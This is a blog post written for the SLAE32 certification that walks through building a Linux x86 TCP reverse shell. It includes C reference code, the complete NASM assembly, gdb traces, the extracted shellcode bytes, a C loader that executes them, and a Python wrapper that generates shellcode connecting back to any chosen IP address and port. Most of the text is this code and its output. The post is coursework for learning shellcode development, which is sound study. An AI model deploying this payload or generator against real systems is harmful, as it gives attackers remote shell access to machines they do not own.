SLAE32 Assignment #2: Linux x86 TCP Reverse Shell

In this blog post, we will be covering the process behind writing and analysing an x86 TCP reverse shell for Linux in assembly.

This post follows on in the series of posts created for the SLAE32 certification course provided by Pentester Academy.


Overview

The code for the TCP reverse shell will consist of the following components:

  • Linux x86 TCP reverse shell shellcode, written in Assembly.
  • Shellcode skeleton code, written in C.
  • Wrapper script for customising the listener address and port, written in Python.

We will begin by analysing a simple example of an x86 Linux TCP reverse shell written in C taken from the following blog post:

To make matters simpler, we have modified the below code and set the connect-back port to 4444.

#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main(void)
{
 int sockfd; // socket file descriptor
 socklen_t socklen; // socket-length for new connections

 struct sockaddr_in addr; // client address

 addr.sin_family = AF_INET; // server socket type address family = internet protocol address
 addr.sin_port = htons(4444); // connect-back port, converted to network byte order
 addr.sin_addr.s_addr = inet_addr("127.0.0.1"); // connect-back ip , converted to network byte order

 // create new TCP socket
 sockfd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP );

 // connect socket
 connect(sockfd, (struct sockaddr *)&addr, sizeof(addr));

 //  Duplicate file descriptors for STDIN, STDOUT and STDERR
 dup2(sockfd, 0);
 dup2(sockfd, 1);
 dup2(sockfd, 2);

 // spawn shell
 execve( "/bin/sh", NULL, NULL );
}

We compile the code with gcc:

gcc -fno-stack-protector -z execstack example.c -o example

To make sure the code does what we expect, we briefly run it with netcat listening on port 4444:

We execute the program and receive a reverse shell connection back to our listener:


TCP reverse shell syscalls

Analysing the C code, we note that there are four main syscalls that are performed to initiate the TCP reverse shell. The syscalls are:

  • socket()
  • connect()
  • dup2()
  • execve()

We will cover each of these syscalls by studying their arguments and calling conventions, beginning with an analysis of the call to socket() in assembly.


Creating a socket

The socket() call is used to create an endpoint for communication. A successful call to socket() returns a file descriptor which refers to the created socket endpoint.

According to the system call reference file stored in 32-bit Linux at /usr/include/i386-linux-gnu/asm/unistd_32.sh, the syscall number for socketcall is 102.

If we look at the man page for socketcall, we note that the syscall takes two parameters and has the following function header:

int socketcall(int call, unsigned long *args);
SyscallArgumentMan Reference
socketcallcallDetermines which socket function to invoke
socketcallargsPoints to a block containing the actual arguments

First, we look at the call parameter. The implementation of sockets in linux can be found in the /usr/include/linux/net.h header file.

Within this file, we find that to call the socket function, call must have a value of 1.

To understand further how a socket is defined, we can refer to its man page:

According to the above man page entry, the socket function header is as follows:

int socket(int domain, int type, int protocol);

socket() arguments

Next, we look at each of the parameters to the socket() function.

domain

The domain argument denotes the protocol family which will be used for communication. In our case, as we are looking to establish a connection over the IPv4 protocol, this value will be set to AF_INET.

We can find the corresponding numerical value of AF_INET in locally stored header files. For the version of 32-bit Kali Linux we are working with, the reference to AF_INET can be located in /usr/include/i386-linux-gnu/bits/socket.h.


type

The next argument is the type of socket. As we are setting up a TCP bind shell, we should use the SOCK_STREAM option, which is defined as being 'sequenced, reliable and connection-based' (i.e. TCP).

Based on its definition in /usr/include/i386-linux-gnu/bits/socket_type.h, type should be set to 1.


protocol

The final argument, protocol value can be set to its default value of 0.

Looking at the C source code, we note that IPPROTO_IP is provided as the protocol.

Doing a quick grep on this returns to us the contents of /usr/include/linux/in.h, which indicates it is mapped to the value 0.

grep -rnw '/usr/include/linux' -e 'IPPROTO_IP'                               
/usr/include/linux/bpf.h:1512: *                * **IPPROTO_IP**, which supports *optname* **IP_TOS**.
/usr/include/linux/bpf.h:1713: *                * **IPPROTO_IP**, which supports *optname* **IP_TOS**.
/usr/include/linux/in.h:29:  IPPROTO_IP = 0,            /* Dummy protocol for TCP              */
/usr/include/linux/in.h:30:#define IPPROTO_IP           IPPROTO_IP


socket() argument structure

A breakdown of the arguments to socket() is as follows:

SyscallArgumentMan ReferenceC Code Reference
socketdomainThe protocol family which will be used for communicationPF_INET
sockettypeSpecifies the communication semanticsSOCK_STREAM
socketprotocolSpecifies a particular protocol to be used with the socketIPPROTO_IP

Now that we know the initial values to create a socket, we can implement this in assembly.


Calling socket()

By default, a syscall in 32-bit Linux will use the registers as follows:

  • EAX - Syscall Number
  • EBX - 1st Argument
  • ECX - 2nd Argument
  • EDX - 3rd Argument
  • ESI - 4th Argument
  • EDI - 5th Argument

In case of our system call to socketcall(), our register values will be as follows:

  • EAX - system call number (102)
  • EBX - call - socket (1)
  • ECX - *args - a pointer to the domain, type and arguments

As ECX must contain a pointer to our socket() arguments, we can push them onto the stack in reverse order, and set ECX to the top of the stack where the arguments start:

  • domain - PF_INET - 2
  • type - SOCK_STREAM - 1
  • protocol - IPPROTO_IP - 0

The overall argument structure for calling socket will follow the below layout.

Note: decimal values have been converted into their hexadecimal equivalents, e.g. the syscall value 102 = 0x66.

SyscallArgumentValue
socketcallsyscall0x66
socketcallcall0x1
socketdomain0x2
sockettype0x1
socketprotocol0x0

socket() assembly code

The assembly code for the socket() function is as follows:

_socket:

        ; Clear EAX register and set al to syscall number 102 in hex.
        xor eax, eax
        mov al, 0x66 

        ; Clear EBX register and set bl to 0x1 for socket.
        xor ebx, ebx
        mov bl, 0x1

        ; Clear ECX register and push values for protocol, type and domain to the stack
        xor ecx, ecx
        push ecx;       protocol - IPPROTO_IP (0x00000000)
        push 0x1;       type - 1 (0x1)
        push 0x2;       domain - PF_INET (0x2)

        ; set ECX to the top of the stack to point to args
        mov ecx, esp

        ; Execute socket() syscall
        int 0x80

We can now link and compile the program using nasm and ld as follows:


socket() analysis

To understand the assembly code on a per-instruction basis and debug the compiled program, we can use gdb.

As we step through the program, it helps to print out the registers, stack and disassembled instructions to keep track of where we are in the program. We can do this by defining hook-stop:

(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>print/x $eax
>print/x $ebx
>print/x $ecx
>print/x $edx
>x/4xw $esp
>disassemble 0x8049000
>end

Now, every time we step through the program, the values of our specified registers are printed along with the top four stack values and the disassembled assembly instructions.

We can trace the program flow right up until the syscall to socket() is made, so that we ensure that the arguments are aligned correctly in the required registers and on the stack.

We reach the end of the function and find that EAX has been populated with the value of the socket descriptor, 0x3. This indicates a successful call to socket().


Connecting to the socket

Next, we look at the call that's made to connect(). Based on the man page, this system call connects the socket referenced by the provided socket descriptor to the address specified by addr.

The connect() function has the following function header:

int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

Before we get into the arguments for the connect() function, we note that the argument of socketcall() will now be set to the value for connect().

We consult the /usr/include/linux/net.h file and note that connect() has a call value of 3.


connect() arguments

Next, we look at each of the parameters to the connect() function.

sockfd

The sockfd parameter is the file descriptor of the socket. This value was returned following a successful call to the socket() function and, following the syscall, is stored in the EAX register.


addr

The addr parameter is a pointer to the desired familyport and address properties of our socket.

Referring to the C example source code, we note that the sockaddr structure is referenced by the addr value.

addr.sin_family = AF_INET; // server socket type address family = internet protocol address
 addr.sin_port = htons( 1337 ); // connect-back port, converted to network byte order
 addr.sin_addr.s_addr = inet_addr("127.0.0.1"); // connect-back ip , converted to network byte order

 // create new TCP socket
 sockfd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP );

 // connect socket
 connect(sockfd, (struct sockaddr *)&addr, sizeof(addr));

As we already know that sockfd refers to the file descriptor, we next look up the definition of sockaddr in socket.h:

/* Structure describing a generic socket address.  */
struct sockaddr
{
    __SOCKADDR_COMMON (sa_);    /* Common data: address family and length.  */
     char sa_data[14];           /* Address data.  */
};

To understand how the sa_data char array (sockaddr_in) is structured, we can refer to its definition in /usr/include/linux/in.h:

struct sockaddr_in {
  __kernel_sa_family_t  sin_family;     /* Address family               */
  __be16                sin_port;       /* Port number                  */
  struct in_addr        sin_addr;       /* Internet address             */

  /* Pad to size of `struct sockaddr'. */
  unsigned char         __pad[__SOCK_SIZE__ - sizeof(short int) -
                        sizeof(unsigned short int) - sizeof(struct in_addr)];
};

According to the above definition, sockaddr_in has the following properties:

  • sin_family - Address family
  • sin_port - TCP port
  • sin_address - IPv4 address

For the purpose of initially simplifying our shellcode, we will set the port value to 4444, with the address set to our local Kali address of 192.168.105.151.


addrlen

The addrlen argument specifies the size of the address structure pointed to by addr in bytes. This will be 16 (0x10).


connect() argument structure

A breakdown of the arguments to connect() is as follows:

SyscallArgumentMan ReferenceC Code Reference
socketcallcallSyscall number-
socketcallargsSyscall arguments-
connectsockfdSocket file descriptorhost_sockid
connectaddrSocket address family, host IP address and port&hostaddr
connectaddrlenSize in bytes of addrsizeof(hostaddr)

To understand how to convert our IPv4 address into the format expected by sin_addr, we can review the man page of inet_addr:

In the man page, we see that a function inet_aton() is used to convert the given IP address to binary form in network byte order.

We can do the same in Python3 using the below code, giving us the value 0x9769a8c0 for our given IP address:

>>> value = socket.inet_aton("192.168.105.151").hex()
>>> little_hex = bytearray.fromhex(value)
>>> little_hex.reverse()
>>> str_little = ''.join(format(x, '02x') for x in little_hex)
>>> print(str_little)
9769a8c0
>>>

Following this, the values pointed to by addr (sockaddr_in) are as follows:

StructArgumentMan ReferenceValue
sockaddr_insin_familyAddress family0x2
sockaddr_insin_portTCP port to listen on in network byte order0x5c11
sockaddr_insin_addrHost IP address in network byte order0x9769a8c0

In order to avoid pushing null values on the stack, we can instead XOR the host address value with 0xffffffff, move that resulting value into a register, and XOR that register again with 0xffffffff to get the original value. This will prevent us from pushing null bytes in the event that our host address contains zeroes.

Below, we indicate how this behaviour works using Python. Initially, we set a to our original hex string of the host address, and XOR it with 0xffffffff to get a string which does not contain any null bytes. We then recover the original value by XORing it with 0xffffffff again.

>>> a = 0x9769a8c0
>>> b = 0xffffffff
>>> c = hex(a ^ b)
>>> print(c)
0x6896573f
>>> print(hex(c ^ 0xffffffff))
0x9769a8c0

With the above in mind, we will push our XOR'd host address, 0x6896573f to the stack.


Calling connect()

In case of our system call to socketcall():

  • EAX - system call number (102)
  • EBX - call argument - connect (3)
  • ECX - *args - connect arguments

To begin, we must push the elements of the sockaddr_in structure to the stack in reverse order, starting with sin_addr.

  • sockfd - Stored in EAX after call to socket(). We will save this value by moving it to the EDX register.
  • addr - We will store this value in the ESI register.
    • sin_family - AF_INET (2)
    • sin_port - 4444 (0x5c11)
    • sin_addr - 192.168.105.151 (0x6896573f)
  • addrlen = 16 (0x10)

The overall argument structure for calling connect() will be as follows:

SyscallargumentDescriptionValue
socketcallsyscall numbersyscall value for socketcall0x66
socketcallcallsocketcall value for bind0x2
connectsockfdsocket file descriptor0x3
connectaddrsockaddr_in structure2, 0x5c11, 0x6896573f
connectaddrlenLength of addr in bytes0x10

connect() assembly code

_connect:

        ; Clear EDX register and save the sockfd value returned from socket()
        xor edx, edx
        mov edx, eax

        ; Clear EAX register and set al to syscall number 102 in hex.
        xor eax, eax
        mov al, 0x66

        ; clear EBX register and set bl to 0x3 for connect.
        xor ebx, ebx
        mov ebx, 0x3

        ; Clear EDI register and push value for IP address.
        xor edi, edi
        mov edi, 0x6896573f
        ; XOR EDI to get original IP address hex value whilst avoiding null bytes.
        xor edi, 0xffffffff

        ; Clear ECX register and push IP address
        xor ecx, ecx
        push edi;               sin_addr - 192.168.105.151 (0x6896573f)
        push word 0x5c11;       sin_port - 4444 (0x5c11)
        push word 0x2;          sin_family - AF_INET (2)

        ; Save pointer to sockaddr to ESI register
        mov esi, esp

        push 0x10;              addrlen - 16 (0x10)
        push esi;               addr
        push edx;               sockfd

        ; Set ECX to stop of stack for syscall arguments *args
        mov ecx, esp

        ; Execute connect() syscall
        int 0x80

connect() analysis

We can now step through our implementation of connect() using gdb.

We once again define a hook-stop for the scope of the connect() assembly code:

>print/x $eax
>print/x $ebx
>print/x $ecx
>print/x $edx
>print/x $edi
>x/4xw $esp
>disassemble 0x8049013
>end

As we step through, we note that instructions save the socket file descriptor to EDX as intended:

Next, the syscall is set up for the call to connect() by moving 0x3 to the bl register:

Next, the XOR'd hex value of our host address and 0xffffffff is moved to the EDI register:

This value is then XOR'd with 0xffffffff again to return the hex value of our host address to avoid null bytes:

Next, the values for the port and protocol family are pushed to the stack:

The ESP value is moved to the ESI register, so as to save the sockaddr_in structure that we have pushed to the stack.

The addrlen, *addr and sockfd values are pushed to the stack:

The ESP value is moved to the ECX register, so that ECX is pointing to the addr values as per the function arguments for connect().

After the syscall is made, the value 0xffffff91 is put into the EAX register, indicating that the connect() attempt was unsuccessful.

However, if we set up a netcat listener on port 4444, whilst the binary returns a segmentation fault, we can see that the connection is successfully made:

We can repeat the final instruction in gdb and see that the return value for the syscall is put into EAX.


Making the shell interactive

Now that we have a working reverse shell implementation in assembly, we next work on making it interactive.

The example C program does this by setting the file descriptors for the client socket for the STDIN, STDOUT and STDERR values on the host system.

// Duplicate file descriptors for STDIN, STDOUT and STDERR 
    dup2(client_sockid, 0); 
    dup2(client_sockid, 1); 
    dup2(client_sockid, 2); 

The manual entry for this functionality is as follows:

The dup2() function, which is used by the C program has the following function header:

int dup2(int oldfd, int newfd);

To locate the syscall number for dup2(), we can query unistd_32.h and grep for the function name like so:

cat  /usr/include/i386-linux-gnu/asm/unistd_32.h | grep dup2

#define __NR_dup2 63

We determine the syscall number of dup2() is 63, which in hex is 0x3F.


dup2() arguments

Next, we look at each of the parameters to the dup2() function.

oldfd

The oldfd argument is a file descriptor. In this case, we set it to the file descriptor of the established socket.

This value can be set to the file descriptor of the previously established socket. Following the call to connect(), the socket descriptor was saved to the EDX register.


newfd

The newfd argument is the file descriptor we are redirecting into the socket.

As we are aiming to redirect STDIN, STDOUT and STDERR to the socket connection, this value will be set to 0, 1 and 2 on each subsequent syscall.


dup2() argument structure

A breakdown of the arguments to dup2() is as follows:

SyscallArgumentMan ReferenceC Code Reference
dup2oldfdSocket file descriptorhost_sockid
dup2newfdMaximum number of pending connections0, 1 and 2

Calling dup2()

In case of our system call to dup2():

  • EAX - system call number (63)
  • EBX - oldfd, which is the sockid returned by the call to socket()

dup2() assembly code

The assembly code for the dup2() function is as follows:

_dup2:

        ; Push the EAX register containing the socket file descriptor returned from socket()
        push edx

        ; Clear EAX register and set al to syscall number 63 in hex.
        mov al, 0x3f
        pop ebx;                POP socket file descriptor into EBX for dup2 syscall
        xor ecx, ecx;           Clear ECX register for initial redirection of STDIN (0)
        int 0x80;               Execute dup2() syscall

        ; Set dup2() syscall for STDOUT
        mov al, 0x3f
        mov cl, 0x1
        int 0x80

        ; Set dup2() syscall for STDERR
        mov al, 0x3f
        mov cl, 0x2
        int 0x80

dup2() analysis

We can now step through our implementation of dup2() using gdb.

Defining hook-stop for the scope of dup2() assembly code:

(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>print/x $eax
>print/x $ebx
>print/x $ecx
>print/x $edx
>x/4xw $esp
>disassemble 0x8049040 
>end

Note: We once again have to set up a listener in order to resume execution in gdb after the call to connect()

To begin, the value of EDX, which contains the socket descriptor is pushed to the stack.

We move the syscall number for dup2() to the EAX register:

We prep the EAX, EBX and ECX registers for the syscall to duplicate STDIN, denoted by ECX as the value 0:

We repeat the setup to perform the syscall for STDOUT, with ECX set to 0x1:

Finally we perform the syscall for STDERR, with ECX set to 0x2:

On each subsequent syscall, the EAX register returns the value of the new file descriptor (0 for STDIN, 1 for STDOUT, 2 for STDERR).


Getting a shell

Now that we have a working reverse connection over TCP which performs proper I/O redirection, we need to implement a shell.

Once the socket client connects to our waiting listener, the program needs to execute a shell program such as /bin/sh to spawn a shell.

To do this, we are going to use the execve() syscall.

As per the C shellcode, the execve() call is as follows:

// Execute /bin/sh 
execve("/bin/sh", NULL, NULL);

The manual entry for the execve() functionality is as follows:

The execve() function has the following function header:

int execve(const char *pathname, char *const argv[], char *const envp[]);

To locate the syscall number for execve(), we can again query the unistd_32.h file:

cat  /usr/include/i386-linux-gnu/asm/unistd_32.h | grep execve 
#define __NR_execve 11
#define __NR_execveat 358

We determine the syscall number of execve() is 11, which in hex is 0xb.


execve() arguments

Next, we look at each of the parameters to the execve() function.

pathname

The pathname argument is used to refer to the null-terminated file path of the program executed by execve().

This value is pushed to the stack in little-endian format. We will point this value to the filepath of /bin/sh.

To maintain stack alignment, we will push the string ''//bin/sh' which has a length of 8. In doing so, we can cleanly push this value to the stack in two instructions.


argv

The argv argument is an array of pointers to strings to be passed to the new program as command-line arguments.

In this case, as we are just looking to implement a call to /bin/sh, we will leave this as NULL.


envp

The envp argument is an array of pointers to strings to be passed as the environment of the new program.

Once again, as we are just looking to implement a call to /bin/sh, we can leave this as NULL.


execve() argument structure

A breakdown of the arguments to execve() is as follows:

SyscallArgumentMan ReferenceC Code Reference
-call
execvepathnameFilepath of the program to execute"/bin/sh"
execveargvCommand-line arguments of the programNULL
execveenvpEnvironment of the new programNULL

Calling execve()

In case of our system call to execve():

  • EAX - system call number (11)
  • EBX - pathname ("//bin/sh" in reverse)
  • ECX - argv (set to NULL)
  • EDX - envp (set to NULL)

Reversing the pathname

In order to abide by the little-endian format, we must push values in reverse order to the stack.

We can reverse the pathname and put it in little endian format using the below python code snippet.

#!/usr/bin/python

import sys

input = sys.argv[1]

print 'String length : ' +str(len(input))

stringList = [input[i:i+4] for i in range(0, len(input), 4)]

for item in stringList[::-1] :
        print item[::-1] + ' : ' + str(item[::-1].encode('hex'))

We can use this script to reverse the string "//bin/sh" and encode it in hex, so that we may include it in our assembly.

Note: as mentioned previously, we have prepended the pathname with an additional forward slash "/" to make the string length 8. This allows us to push the string evenly and maintain stack alignment.

python2 reverse.py "//bin/sh"
String length : 8
hs/n : 68732f6e
ib// : 69622f2f

The output of the program gives us the two values we need to push to the stack, 0x68732f6e and 0x69622f2f.


execve() assembly code

The assembly code for the execve() function is as follows:

_execve:

        ; Clear EAX register and set al to syscall number 11 in hex.
        mov al, 0xb

        ; Push pathname string to the stack and set the EBX register to it
        xor ebx, ebx
        push ebx;                       NULL terminate the string
        push 0x68732f6e;                hs/n - 0x68732f6e
        push 0x69622f2f;                ib// - 0x69622f2f
        mov ebx, esp;

        ; Clear the ECX and EDX registers for argv and envp
        xor ecx, ecx
        xor edx, edx

        ; Execute execve() syscall
        int 0x80

execve() analysis

We can now step through our implementation of execve() using gdb.

We define our hook-stop function:

(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>print/x $eax
>print/x $ebx
>print/x $ecx
>print/x $edx
>x/4xw $esp
>disassemble 0x8049054
>end

Note: We once again have to initiate a client connection in order to resume execution after the call to connect()

The syscall is set up for the call to execve(), having moved 0xb to the bl register:

The null-terminated string value of '//bin/sh' is pushed to the stack in preparation for the call to execve():

The ESP value is moved to the EBX register, so that EBX is pointing to the null-terminated string used for the pathname argument:

The ECX and EDX registers are both cleared, as they are provided as the NULL argv and env arguments:

Finally, the syscall to execve() is made, and a call is made to the /bin/sh program:

We check our netcat listener, and confirm we have a fully functioning reverse shell.


Complete assembly code

The final assembly implementation of our TCP reverse shell is as follows:

; tcp_reverse_shell_x86.nasm 
; Author: Jack McBride (PA-6483)
; Website: https://jacklgmcbride.co.uk
; 
; Purpose: SLAE32 exam assignment
;
; Assignment 2: Linux x86 TCP Reverse Shell

global _start

section .text

_start:
                        ; Linux x86 reverse tcp shell
                        ; set up socket()
                        ; set up connect()
                        ; set up dup2()
                        ; set up execve()

_socket:

        ; Clear EAX register and set al to syscall number 102 in hex.
        xor eax, eax
        mov al, 0x66 

        ; Clear EBX register and set bl to 0x1 for socket.
        xor ebx, ebx
        mov bl, 0x1

        ; Clear ECX register and push values for protocol, type and domain to the stack
        xor ecx, ecx
        push ecx;       protocol - 0 (0x00000000)
        push 0x1;       type - 1 (0x1)
        push 0x2;       domain - PF_INET (0x2)

        ; Set ECX to the top of the stack to point to args
        mov ecx, esp

        ; Execute socket() syscall
        int 0x80

_connect:

        ; Clear EDX register and save the sockfd value returned from socket()
        xor edx, edx
        mov edx, eax

        ; Clear EAX register and set al to syscall number 102 in hex.
        xor eax, eax
        mov al, 0x66

        ; clear EBX register and set bl to 0x3 for connect.
        xor ebx, ebx
        mov ebx, 0x3

        ; Clear EDI register and push value for IP address.
        xor edi, edi
        mov edi, 0x6896573f
        ; XOR EDI to get original IP address hex value whilst avoiding null bytes.
        xor edi, 0xffffffff

        ; Clear ECX register and push IP address
        xor ecx, ecx
        push edi;               sin_addr - 192.168.105.151 (0x6896573f)
        push word 0x5c11;       sin_port - 4444 (0x5c11)
        push word 0x2;          sin_family - AF_INET (2)

        ; Save pointer to sockaddr to ESI register
        mov esi, esp

        push 0x10;              addrlen - 16 (0x10)
        push esi;               addr
        push edx;               sockfd

        ; Set ECX to stop of stack for syscall arguments *args
        mov ecx, esp

        ; Execute connect() syscall
        int 0x80

_dup2:

        ; Push the EDX register containing the socket file descriptor return from socket()
        push edx

        ; Clear EAX register and set al to syscall number 63 in hex.
        mov al, 0x3f

        pop ebx;        POP socket file descriptor into EBX register for dup2 syscall

        xor ecx, ecx;   Clear ECX register for initial redirection of STDIN (0)
        int 0x80;       Execute dup2() syscall

        ; set dup2() syscall for STDOUT (1)
        mov al, 0x3f
        mov cl, 0x1
        int 0x80

        ; set dup2() syscall for STDERR (2)
        mov al, 0x3f
        mov cl, 0x2
        int 0x80

_execve:
        ; Clear EAX register and set al to syscall number 11 in hex.
        mov al, 0xb

        ; Push pathname string to the stack and set the EBX register to it
        xor ebx, ebx
        push ebx;                       NULL terminate the string
        push 0x68732f6e;                hs/n - 0x68732f6e
        push 0x69622f2f;                ib// - 0x69622f2f
        mov ebx, esp;

        ; Clear the ECX and EDX registers for argv and envp
        xor ecx, ecx
        xor edx, edx

        ; Execute execve() syscall
        int 0x80

Assembly and linkage

We can assemble and link our TCP reverse shell program as follows:

┌──(root㉿kali)-[/home/jack/SLAE32/Assignment 2: Linux x86 TCP Reverse Shell]
└─# nasm -f elf32 -o tcp_reverse_shell_x86.o tcp_reverse_shell_x86.nasm

┌──(root㉿kali)-[/home/jack/SLAE32/Assignment 2: Linux x86 TCP Reverse Shell]
└─# ld -o tcp_reverse_shell_x86 tcp_reverse_shell_x86.o


Executing the shellcode

Next, we can extract the raw shellcode from our tcp_reverse_shell_x86 binary and insert it into our C shellcode loader.

Our shellcode loader is a simple C program designed to print the length of our shellcode, and direct execution to it:

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"SHELLCODE";

int main()
{
        printf("Shellcode Length: %d\n", strlen(code));

        int (*ret)() = (int(*)())code;

        ret();

}

To obtain the raw shellcode bytes of our TCP reverse shell, we use an excellent objdump one liner from CommandlineFu.

objdump -d tcp_reverse_shell_x86 |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x31\xd2\x89\xc2\x31\xc0\xb0\x66\x31\xdb\xbb\x03\x00\x00\x00\x31\xff\xbf\x3f\x57\x96\x68\x83\xf7\xff\x31\xc9\x57\x66\x68\x11\x5c\x66\x6a\x02\x89\xe6\x6a\x10\x56\x52\x89\xe1\xcd\x80\x52\xb0\x3f\x5b\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\xb0\x0b\x31\xdb\x53\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xcd\x80"

We embed our shellcode into the code variable of our C program:

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x31\xd2\x89\xc2\x31\xc0\xb0\x66\x31\xdb\xbb\x03\x00\x00\x00\x31\xff\xbf\x3f\x57\x96\x68\x83\xf7\xff\x31\xc9\x57\x66\x68\x11\x5c\x66\x6a\x02\x89\xe6\x6a\x10\x56\x52\x89\xe1\xcd\x80\x52\xb0\x3f\x5b\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\xb0\x0b\x31\xdb\x53\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xcd\x80";

int main()
{
        printf("Shellcode Length: %d\n", strlen(code));

        int (*ret)() = (int(*)())code;

        ret();
}

Finally, we can compile the C program using gcc:

┌──(root㉿kali)-[/home/jack/SLAE32/Assignment 2: Linux x86 TCP Reverse Shell]
└─# gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

Finally, we can test the shellcode, confirming that we get a reverse shell on port tcp/4444.


Modifying the address and port

In most cases, the user would want to be able to specify which port and address they want the reverse shell code to connect back to.

To do this, we have written a Python wrapper script which takes 'ip address' and 'port' arguments and modifies the tcp_reverse_shell.nasm file to assemble the shellcode with the specified values. The script then assembles and outputs the shellcode to the console and performs cleanup of the created artifacts.

import argparse
import sys
import os
import socket

def convert_args(address, port):

        address = socket.inet_aton(address).hex()
        le_address = bytearray.fromhex(address)
        le_address.reverse()
        address = "0x{0}".format(''.join(format(x, '02x') for x in le_address))

        address = hex(int(address, 16) ^ 0xffffffff)

        port = hex(socket.htons(port))

        return address, port

def set_args(address,port):

        address, port = convert_args(address, port)
        asm = open("tcp_reverse_shell_x86.nasm", 'rt')
        data = asm.read()
        data = data.replace('ADDRESS', address)
        data = data.replace('PORT', port)
        asm.close()
        asm = open('tmp.nasm', 'wt')
        asm.write(data)
        asm.close()

def gen_shellcode():
        stream = os.popen("""objdump -d tcp_reverse_shell_x86 |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'""")
        shellcode = stream.read().rstrip()
        return shellcode

def print_shellcode(shellcode, address, port):
        print("[*] Generating shellcode for x86 TCP reverse shell on {0}:{1}".format(address, port))
        print("[*] Shellcode length: %d bytes" % ((len(shellcode.replace("\\x", "")) /2)-1))
        print("[*] Checking for NULL bytes...\n%s" % ("[-] NULL bytes found." if "00" in shellcode else "[+] No NULL bytes detected!"))
        print(shellcode)

def main():

        parser = argparse.ArgumentParser(description='Generate x86 TCP reverse shell shellcode.')
        parser.add_argument('-l', '--lhost', type=str, help='Remote IPv4 address for TCP reverse shell to connect to.')
        parser.add_argument('-p', '--port', type=int, help='Remote port for TCP reverse shell to connect to.')

        args = parser.parse_args()
        if len(sys.argv) == 1:
                parser.print_help()
                sys.exit()

        # Modify the host address and port in tcp_reverse_shell_x86.nasm
        set_args(args.lhost, args.port)

        # Link and assemble code
        os.system('nasm -f elf32 -o tcp_reverse_shell_x86.o tmp.nasm')
        os.system('ld -o tcp_reverse_shell_x86 tcp_reverse_shell_x86.o')

        # Dump the shellcode using objdump
        shellcode = gen_shellcode()

        # Print shellcode
        print_shellcode(shellcode, args.lhost, args.port)

        # Cleanup
        os.system('rm tmp.nasm')
        os.system('rm tcp_reverse_shell_x86.o')
        os.system('rm tcp_reverse_shell_x86')

if __name__ == "__main__":
        main()

We generate our shellcode for a reverse shell on TCP port 4444:

┌──(root㉿kali)-[/home/jack/SLAE32/Assignment 2: Linux x86 TCP Reverse Shell]
└─# python3 tcp_reverse_shell_x86.py -l 192.168.105.151 -p 4444
[*] Generating shellcode for x86 TCP reverse shell on 192.168.105.151:4444
[*] Shellcode length: 104 bytes
[*] Checking for NULL bytes...
[+] No NULL bytes detected!
"\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x31\xd2\x89\xc2\x31\xc0\xb0\x66\x31\xdb\xb3\x03\x31\xff\xbf\x3f\x57\x96\x68\x83\xf7\xff\x31\xc9\x57\x66\x68\x11\x5c\x66\x6a\x02\x89\xe6\x6a\x10\x56\x52\x89\xe1\xcd\x80\x52\xb0\x3f\x5b\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\xb0\x0b\x31\xdb\x53\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xcd\x80"

We can now paste the generated shellcode into our shellcode.c program:

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x31\xd2\x89\xc2\x31\xc0\xb0\x66\x31\xdb\xb3\x03\x31\xff\xbf\x3f\x57\x96\x68\x83\xf7\xff\x31\xc9\x57\x66\x68\x11\x5c\x66\x6a\x02\x89\xe6\x6a\x10\x56\x52\x89\xe1\xcd\x80\x52\xb0\x3f\x5b\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\xb0\x0b\x31\xdb\x53\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xcd\x80";

int main()
{
        printf("Shellcode Length: %d\n", strlen(code));

        int (*ret)() = (int(*)())code;

        ret();
}

We compile the shellcode with gcc:

┌──(root㉿kali)-[/home/jack/SLAE32/Assignment 2: Linux x86 TCP Reverse Shell]
└─# gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

We start a netcat listener and execute the shellcode program, which connects back to our listener on port 4444. Success!


Code

The assembly, python and C source code for the above Linux x86 TCP reverse shell implementation can be found on my GitHub repository.


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: PA-6483

All code was tested on 32-bit Kali Linux:

┌──(jack㉿kali)-[~/SLAE32/Assignment 2: TCP Reverse Shell]
└─$ uname -a
